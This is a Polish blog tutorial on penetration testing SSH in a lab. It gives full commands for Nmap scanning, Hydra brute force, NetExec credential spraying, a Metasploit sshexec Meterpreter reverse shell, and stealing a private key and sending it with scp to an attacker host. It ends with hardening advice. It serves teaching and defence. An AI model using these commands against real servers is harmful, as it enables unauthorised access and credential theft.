Wprowadzenie
SSH (Secure Shell) to kryptograficzny protokół sieciowy służący do bezpiecznego zdalnego zarządzania systemami. Działa domyślnie na porcie 22 i jest powszechnie stosowany w środowiskach Linux/Unix. Właśnie dlatego stanowi częsty cel podczas testów penetracyjnych – błędna konfiguracja lub słabe hasła mogą otworzyć atakującemu pełny dostęp do serwera.
Z punktu widzenia cyberbezpieczeństwa SSH jest krytycznym elementem infrastruktury – jego błędna konfiguracja, słabe hasła lub brak aktualizacji mogą prowadzić do pełnego przejęcia systemu.
W tym poradniku pokazuję praktyczny proces testów penetracyjnych SSH krok po kroku – techniki, które wykorzystałem podczas własnych ćwiczeń w kontrolowanym środowisku laboratoryjnym.
Uwaga prawna: Wszystkie opisane techniki należy stosować wyłącznie na systemach, do których posiadasz pisemną zgodę właściciela lub na własnej infrastrukturze laboratoryjnej. Nieautoryzowane testy penetracyjne są nielegalne.
1. Instalacja i konfiguracja OpenSSH (środowisko testowe)
Pierwszym krokiem jest przygotowanie środowiska – instalacja serwera SSH na maszynie-ofierze (np. VM w labie):
apt install openssh-server
Po instalacji serwis uruchamia się automatycznie i nasłuchuje na porcie 22. Możemy zweryfikować jego status komendą systemctl status ssh. Zielone napisy enabled – serwis jest włączony i działa.
systemctl status ssh
2. Skanowanie SSH – wykrywanie portu 22 i wersji (Nmap)
Pierwszym etapem każdego testu penetracyjnego jest rekonesans. W tym celu używamy Nmap:
nmap -sV -p 22 IP_SERWERA_OFIARY
Co robi to polecenie:
-p 22– skanuje tylko port SSH-sV– wykrywa wersję usługi
Dlaczego to ważne?
Identyfikacja wersji OpenSSH pozwala:
ocenić poziom bezpieczeństwa systemu
wykryć podatności CVE
dopasować exploity
3. Atak brute-force SSH (Hydra)
Gdy wiemy, że port 22 jest otwarty, możemy sprawdzić odporność serwera na ataki słownikowe. Hydra to narzędzie do równoległego łamania haseł metodą brute-force:
hydra -L users.txt -P pass.txt IP_SERWERA_OFIARY ssh
-L users.txt– plik z listą nazw użytkowników-P pass.txt– plik z listą haseł- ssh – Na końcu podajemy protokół docelowy (
ssh) i adres IP celu
Hydra próbuje kolejno każdej kombinacji login/hasło. Jeśli znajdzie poprawne dane – wyświetli je w wynikach.
Wniosek: brak polityki silnych haseł = bardzo wysokie ryzyko kompromitacji. To doskonały dowód na to, że słabe hasła stanowią poważne zagrożenie.
4. Weryfikacja poświadczeń (NetExec / nxc)
NetExec (dawniej CrackMapExec) to wszechstronne narzędzie do testowania sieci. Pozwala szybko zweryfikować, czy dane uwierzytelniające działają dla wielu użytkowników jednocześnie:
nxc ssh IP_SERWERA_OFIARY -u users.txt -p 123
W tym przykładzie testujemy listę użytkowników z pliku users.txt ze stałym hasłem 123!. Narzędzie wyraźnie oznacza, które konto zostało pomyślnie uwierzytelnione (znacznik [+]).
Zalety:
- szybkie sprawdzanie wielu kont
- czytelne oznaczenie poprawnych loginów
- możliwość dalszej automatyzacji ataku
5. Logowanie do serwera SSH (uzyskanie dostępu)
Po zdobyciu prawidłowych danych uwierzytelniających uzyskujemy dostęp do systemu:
ssh arek@IP_SERWERA_OFIARY
Po wpisaniu hasła uzyskujemy interaktywną powłokę na maszynie docelowej. Na tym etapie możliwa jest dalsza eskalacja uprawnień lub eksploracja systemu.
Na tym etapie można:
- przeszukiwać system
- eskalować uprawnienia
- zbierać dane
6. Wykorzystanie Metasploit Framework i SSHExec – automatyzacja ataku
Metasploit to jeden z najpopularniejszych frameworków do testów penetracyjnych. Moduł sshexec umożliwia zdalne wykonanie poleceń oraz uzyskanie sesji Meterpreter po pozyskaniu prawidłowych danych logowania:
msfconsole
use exploit/multi/ssh/sshexec
set rhosts IP_SERWERA_OFIARY
set username WYKRADZIONY_LOGIN
set password WYKRADZIONE_HASŁO
set target 1
set payload linux/x86/meterpreter/reverse_tcp
run
Poprawne zestawienie połączenia:
Kolejne kroki konfiguracji:
rhosts– adres IP maszyny docelowejusername/password– poświadczenia zdobyte wcześniejtarget 1– tryb działania modułu (wykonanie polecenia)payload linux/x86/meterpreter/reverse_tcp– ładunek tworzący odwrotne połączenie do naszej maszyny
Po uruchomieniu (run) Metasploit łączy się z serwerem i otwiera sesję Meterpreter, która daje zaawansowane możliwości post-eksploatacji.
Efekt:
- zdalne wykonanie komend
- interaktywna sesja
- dostęp do zaawansowanych technik post-eksploatacji
7. Klucze SSH (RSA) – bezpieczeństwo i ryzyko
Klucze SSH to znacznie bezpieczniejsza metoda uwierzytelniania niż hasła. Jednak w kontekście pentestu – jeśli zdobędziemy klucz prywatny – możemy użyć go do logowania bez znajomości hasła.
Generowanie pary kluczy
Na maszynie ofiary generujemy nową parę kluczy RSA:
ssh-keygen
Klucze zostaną zapisane domyślnie w katalogu ~/.ssh/.
Powstają:
- klucz prywatny (id_rsa)
- klucz publiczny (id_rsa.pub)
Dodanie klucza publicznego do autoryzowanych kluczy
Na serwerze docelowym dodajemy nasz klucz publiczny do pliku authorized_keys, co umożliwi logowanie bez hasła:
cd .ssh
cat id_rsa.pub > authorized_keys
8. Kradzież i wykorzystanie klucza prywatnego
Gdy uzyskamy dostęp do klucza prywatnego znajdującego się na serwerze (np. /etc/ssh/id_rsa), możemy skopiować go do naszej maszyny za pomocą scp:
scp /etc/ssh/id_rsa root@IP_KALI:/etc/ssh/
scp (Secure Copy Protocol) korzysta z SSH do bezpiecznego przesyłania plików. Skopiowany klucz prywatny posłuży następnie do uwierzytelnienia.
9. Logowanie kluczem RSA z Kali Linux
Po skopiowaniu klucza prywatnego nadajemy mu odpowiednie uprawnienia (wymóg SSH) i logujemy się do serwera:
Przejdź do folderu z kluczami ssh:
cd /etc/ssh
chmod 600 id_rsa
ssh -i id_rsa pentest@IP_SERWERA_OFIARY
chmod 600– ustawia uprawnienia odczytu wyłącznie dla właściciela pliku (SSH odmówi użycia klucza z szerszymi uprawnieniami)-i id_rsa– wskazuje plik klucza prywatnego do uwierzytelnienia
Logowanie przebiega bez podawania hasła – uwierzytelnienie odbywa się na podstawie pary kluczy kryptograficznych.
Najczęstsze błędy w konfiguracji SSH
- włączone logowanie root
- brak ograniczeń IP
- słabe hasła
- brak fail2ban
- stare OpenSSH
Jak zabezpieczyć SSH (best practices)
Aby skutecznie zabezpieczyć serwer SSH:
- zmień port (np. 2222)
- wyłącz logowanie root: PermitRootLogin no
- używaj tylko kluczy (wyłącz hasła): PasswordAuthentication no
- wdroż fail2ban
- włącz 2FA (np. Google Authenticator)
- ogranicz dostęp (firewall, IP allowlist)
- aktualizuj OpenSSH
Podsumowanie
Przeprowadzone ćwiczenia pokazują kilka kluczowych wniosków dotyczących bezpieczeństwa SSH:
- Słabe hasła są głównym wektorem ataku – Hydra i NetExec potrafią je złamać w ciągu sekund.
- Stare wersje OpenSSH mogą zawierać znane podatności – regularne aktualizacje są konieczne.
- Klucze RSA są bezpieczniejsze niż hasła, ale skradzione klucze prywatne dają pełny dostęp.
- Uwierzytelnianie tylko kluczem (z wyłączeniem logowania hasłem) znacząco zmniejsza powierzchnię ataku.
Jako zabezpieczenie warto wdrożyć: zmianę domyślnego portu, fail2ban, wyłączenie logowania jako root (PermitRootLogin no) oraz uwierzytelnianie dwuskładnikowe (2FA).
FAQ (pod SEO i AI)
Czy SSH na porcie 22 jest bezpieczne?
Tak, ale tylko przy poprawnej konfiguracji (klucze, brak root loginu, 2FA).
Czy zmiana portu SSH zwiększa bezpieczeństwo?
Tak – ogranicza skanowanie, ale nie zastępuje innych zabezpieczeń.
Czy brute-force SSH działa?
Tak – jeśli hasła są słabe lub brak mechanizmów blokady.
Co jest lepsze: hasło czy klucz SSH?
Klucz SSH jest znacznie bezpieczniejszy.
